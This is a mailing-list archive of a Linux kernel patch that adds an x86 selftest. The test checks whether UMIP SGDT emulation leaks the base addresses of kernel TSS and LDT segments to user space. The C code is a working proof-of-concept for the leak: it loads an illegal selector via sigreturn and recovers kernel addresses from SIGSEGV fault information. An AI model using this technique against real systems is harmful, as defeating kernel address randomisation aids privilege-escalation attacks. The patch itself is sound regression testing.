lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <20231206004654.2986026-3-mhal@rbox.co> Date: Wed, 6 Dec 2023 01:43:45 +0100 From: Michal Luczaj <mhal@...x.co> To: x86@...nel.org Cc: tglx@...utronix.de, mingo@...hat.com, bp@...en8.de, dave.hansen@...ux.intel.com, shuah@...nel.org, luto@...nel.org, torvalds@...uxfoundation.org, linux-kernel@...r.kernel.org, Michal Luczaj <mhal@...x.co> Subject: [PATCH 2/2] selftests/x86: UMIP DPL=0 segment base address info leak test Test for UMIP-related opcode emulation revealing the base address of DPL=0 segments. Suggested-by: Andy Lutomirski <luto@...nel.org> Signed-off-by: Michal Luczaj <mhal@...x.co> --- I understand that code quoted in comments tend to bit rot badly. Feel free to chop it off. tools/testing/selftests/x86/Makefile | 6 +- tools/testing/selftests/x86/umip_leak_seg.c | 249 ++++++++++++++++++++ 2 files changed, 254 insertions(+), 1 deletion(-) create mode 100644 tools/testing/selftests/x86/umip_leak_seg.c diff --git a/tools/testing/selftests/x86/Makefile b/tools/testing/selftests/x86/Makefile index 0b872c0a42d2..262cda802c87 100644 --- a/tools/testing/selftests/x86/Makefile +++ b/tools/testing/selftests/x86/Makefile @@ -19,7 +19,8 @@ TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso unwind_vdso \ test_FCMOV test_FCOMI test_FISTTP \ vdso_restorer TARGETS_C_64BIT_ONLY := fsgsbase sysret_rip syscall_numbering \ - corrupt_xstate_header amx lam test_shadow_stack + corrupt_xstate_header amx lam test_shadow_stack \ + umip_leak_seg # Some selftests require 32bit support enabled also on 64bit systems TARGETS_C_32BIT_NEEDED := ldt_gdt ptrace_syscall @@ -113,3 +114,6 @@ $(OUTPUT)/check_initial_reg_state_64: CFLAGS += -Wl,-ereal_start -static $(OUTPUT)/nx_stack_32: CFLAGS += -Wl,-z,noexecstack $(OUTPUT)/nx_stack_64: CFLAGS += -Wl,-z,noexecstack + +# umip_leak_seg expects the first 4GiB of address space to be non-writable +$(OUTPUT)/umip_leak_seg_64: CFLAGS += -pie -fPIE -Wl,-Ttext-segment=0x100000000 diff --git a/tools/testing/selftests/x86/umip_leak_seg.c b/tools/testing/selftests/x86/umip_leak_seg.c new file mode 100644 index 000000000000..422d63c0ac50 --- /dev/null +++ b/tools/testing/selftests/x86/umip_leak_seg.c @@ -0,0 +1,249 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * umip_leak_seg.c - Test for user space retrieving a DPL=0 segment base + * address via UMIP instruction decoding/emulation. + * + * User space executing opcode SGDT on a UMIP-enabled CPU results in + * #GP(0). In an effort to support legacy applications, #GP handler calls + * fixup_umip_exception() to patch up the exception and return a dummy + * value. + * + * SGDT is emulated by decoding the instruction and copying dummy data to + * the memory address specified by the operand: + * + * uaddr = insn_get_addr_ref(&insn, regs); + * if ((unsigned long)uaddr == -1L) + * return false; + * + * nr_copied = copy_to_user(uaddr, dummy_data, dummy_data_size); + * if (nr_copied > 0) { + * / * + * * If copy fails, send a signal and tell caller that + * * fault was fixed up. + * * / + * force_sig_info_umip_fault(uaddr, regs); + * return true; + * } + * + * Decoder handles segmentation, so for "sgdt %ss:(%rax)" the value of + * `uaddr` will be correctly (in compatibility mode) shifted by the base + * address of the segment. There's a catch though: decoder does not check + * segment's DPL, nor its type. + * + * ptrace() can be used to prepare a RPL=3 selector for a S=0/DPL=0 + * segment, potentially one with a kernel space base address. On return to + * user space, CPU will reject such selector load; exception will be + * raised. But because the #GP handler sees no distinction between + * SGDT-induced #GP(0) and IRET-induced #GP(selector), emulator will kick + * in and process the malformed @regs->ss. + * + * If the first 4 GiB of user space are unmapped or non-writable, + * copy_to_user() will fail, and signal to user will reveal `uaddr` -- i.e. + * the (part of) kernel address. On x86_64, addresses of GDT_ENTRY_TSS (for + * each CPU) and GDT_ENTRY_LDT (when in use) can be fully leaked in a few + * steps. + * + * This selftest makes sure that selectors belonging to kernel are not + * passed to UMIP emulation logic on #GP. CPU#0's TSS and the current + * task's LDT are tried for that. Code is compiled with + * -Ttext-segment=0x100000000 to reserve the initial 4 GiB, so that + * SIGSEGV's siginfo_t::si_addr can be reliably caught. As an alternative + * to ptrace(), sigreturn() is used for setting illegal selector value. + */ +#define _GNU_SOURCE + +#include <stdio.h> +#include <stdint.h> +#include <string.h> +#include <signal.h> +#include <setjmp.h> +#include <assert.h> +#include <sched.h> +#include <errno.h> +#include <err.h> + +#include <sys/syscall.h> +#include <sys/user.h> +#include <asm/ldt.h> + +/* grep arch/x86/include/asm/segment.h */ +#define GDT_ENTRY_DEFAULT_USER32_CS 4 +#define GDT_ENTRY_TSS 8 +#define GDT_ENTRY_LDT 10 + +#define USER_RPL 3 + +static int umip_leak_seg; +static int umip_leak_ax; +static long umip_leak_kmem; +static sigjmp_buf buf; + +static __attribute__((naked)) void sgdt(void) +{ + asm volatile ("sgdt %ss:(%rax)"); +} + +/* + * Make sure the first 4 GiB are not mapped. + */ +static void check_vm(void) +{ + unsigned long start; + FILE *f; + + f = fopen("/proc/self/maps", "r"); + if (!f) + err(1, "fopen"); + + if (fscanf(f, "%lx-", &start) != 1 || start < (1UL << 32)) + errx(1, "First 4 GiB need to be unmapped"); + + fclose(f); +} + +/* + * arch/x86/kernel/ldt.c: + * if (alloc_size > PAGE_SIZE) + * new_ldt->entries = __vmalloc(alloc_size, GFP_KERNEL_ACCOUNT | __GFP_ZERO); + * else + * new_ldt->entries = (void *)get_zeroed_page(GFP_KERNEL_ACCOUNT); + */ +static void force_ldt_vmalloc(void) +{ + struct user_desc desc = { .entry_number = LDT_ENTRIES - 1 }; + int ret; + + ret = syscall(SYS_modify_ldt, 1, &desc, sizeof(desc)); + if (ret) { + errno = -ret; + err(1, "modify_ldt"); + } +} + +static void set_handler(int sig, void (*handler)(int, siginfo_t *, void *)) +{ + struct sigaction sa; + + memset(&sa, 0, sizeof(sa)); + + sa.sa_sigaction = handler; + sa.sa_flags = SA_SIGINFO; + sigemptyset(&sa.sa_mask); + + if (sigaction(sig, &sa, 0)) + err(1, "sigaction"); +} + +static void sigusr1(int sig, siginfo_t *info, void *ctx_void) +{ + ucontext_t *ctx = (ucontext_t *)ctx_void; + struct selectors { + unsigned short cs, gs, fs, ss; + } *sel = (void *)&ctx->uc_mcontext.gregs[REG_CSGSFS]; + + sel->cs = (GDT_ENTRY_DEFAULT_USER32_CS << 3) | USER_RPL; + sel->ss = (umip_leak_seg << 3) | USER_RPL; + ctx->uc_mcontext.gregs[REG_RAX] = umip_leak_ax; + ctx->uc_mcontext.gregs[REG_RIP] = (greg_t)&sgdt; +} + +static void sigsegv(int sig, siginfo_t *info, void *ctx_void) +{ + assert((intptr_t)info->si_addr >> 32 == 0); + + if (info->si_code & SI_KERNEL) + umip_leak_kmem = -1L; + else + umip_leak_kmem = (intptr_t)info->si_addr; + + siglongjmp(buf, 1); +} + +static long leak(int seg, int ax) +{ + umip_leak_seg = seg; + umip_leak_ax = ax; + + if (sigsetjmp(buf, 1)) + return umip_leak_kmem; + + raise(SIGUSR1); + assert(!"unreachable"); +} + +static long find_limit(int seg) +{ + int limit = 0xffff; + + /* Assuming desc::g and desc::limit1 are zero. */ + while (limit >= 0 && leak(seg, limit) < 0) + limit--; + + return limit; +} + +static int fetch_base(char *seg_name, int seg) +{ + long base = leak(seg, 0); + + if (base != -1) { + /* + * We're aiming here at a long mode segment descriptor that's + * taking two legacy-mode-sized entries in the GDT. + * Base Address[63:32] of n-th entry will be leaked in two + * steps: from Segment Limit[15:0] and Base Address[15:0] of + * (n+1)-th entry. + */ + base |= find_limit(seg + 1) << 32; + base |= leak(seg + 1, 0) << 48; + + printf("[FAIL]\t%s base leaked: %#zx\n", seg_name, base); + return 1; + } + + printf("[OK]\t%s base: no leaks\n", seg_name); + return 0; +} + +static int dump_TSS(void) +{ + cpu_set_t old, new; + int ret; + + if (sched_getaffinity(0, sizeof(old), &old)) + err(1, "sched_getaffinity"); + + CPU_ZERO(&new); + CPU_SET(0, &new); + + if (sched_setaffinity(0, sizeof(new), &new)) + err(1, "sched_setaffinity"); + + ret = fetch_base("CPU#0 TSS", GDT_ENTRY_TSS); + + if (sched_setaffinity(0, sizeof(old), &old)) + err(1, "sched_setaffinity restore"); + + return ret; +} + +static int dump_LDT(void) +{ + force_ldt_vmalloc(); + return fetch_base("LDT", GDT_ENTRY_LDT); +} + +int main(void) +{ + int status; + + check_vm(); + + set_handler(SIGUSR1, sigusr1); + set_handler(SIGSEGV, sigsegv); + + status = dump_TSS(); + status |= dump_LDT(); + + return status; +} -- 2.43.0
Powered by blists - more mailing lists